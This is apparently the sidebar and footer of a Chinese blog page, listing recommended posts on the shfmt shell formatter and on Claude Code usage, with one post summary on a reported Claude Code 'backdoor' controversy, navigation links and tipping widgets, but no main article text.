shfmt是一款功能强大的Shell脚本解析器、格式化工具和解释器,支持bash语法,能够帮助开发者自动整理Shell代码格式,提升脚本可读性和一致性。无论是新手还是资深开发者,都能通过shfmt快速规范代码风格,减少因格式问题导致的协作障碍。 ## 🌟 shfmt的核心功能 shfmt作为GitHub加速计划中的重要工具,主要提供三大核心能力: - **语法解析**:准确识别Shell脚本

gitblog_00638的博客 296

直接复制就能用的 Claude Code 提示词模板,覆盖日常开发 90% 场景

你只需要把代码/需求贴进去,替换掉【】里的内容即可。

小灰灰的博客 665

Claude Code 能做什么?程序员最值得使用的 20 个场景

摘要:本文通过20个真实场景展示Claude Code如何提升开发者效率,覆盖日常开发、代码质量、学习探索和效率工具四大类应用。从快速修复Bug、自动生成单元测试和CRUD代码,到代码审查、重构老项目、安全检查等质量保障,再到解释陌生代码、学习新技术等学习场景,最后延伸至Shell脚本自动化、智能Git操作等效率工具。每个场景都配有具体操作示例和效率对比,证明AI编程助手能显著减少重复劳动,提升代码质量,让开发者专注于核心逻辑。特别是最后几个"神操作"场景,展现了Claude Code超出常规想象的应用潜力

学IT,找陈寒 772

Claude Code“后门”争议:它到底做了什么

本文基于 NVDB 风险提示、Anthropic 工程师回应、公开逆向分析及 npm 原始发布包,解析 Claude Code 2.1.91 至 2.1.196 中的隐藏请求标记:触发条件、域名与关键词分类、Unicode 日期隐写、数据流向和源码定位。

DedicateToAI的博客 370

claude code 学习心得(新手版)

Claude code(新手学习心得)-关于claude code常见命令和三种模式

Life200的博客 185
上一篇: 一个漏洞程序的汇编代码
下一篇: 堆栈溢出系列讲座
codeshell
博客等级 码龄22年 9粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值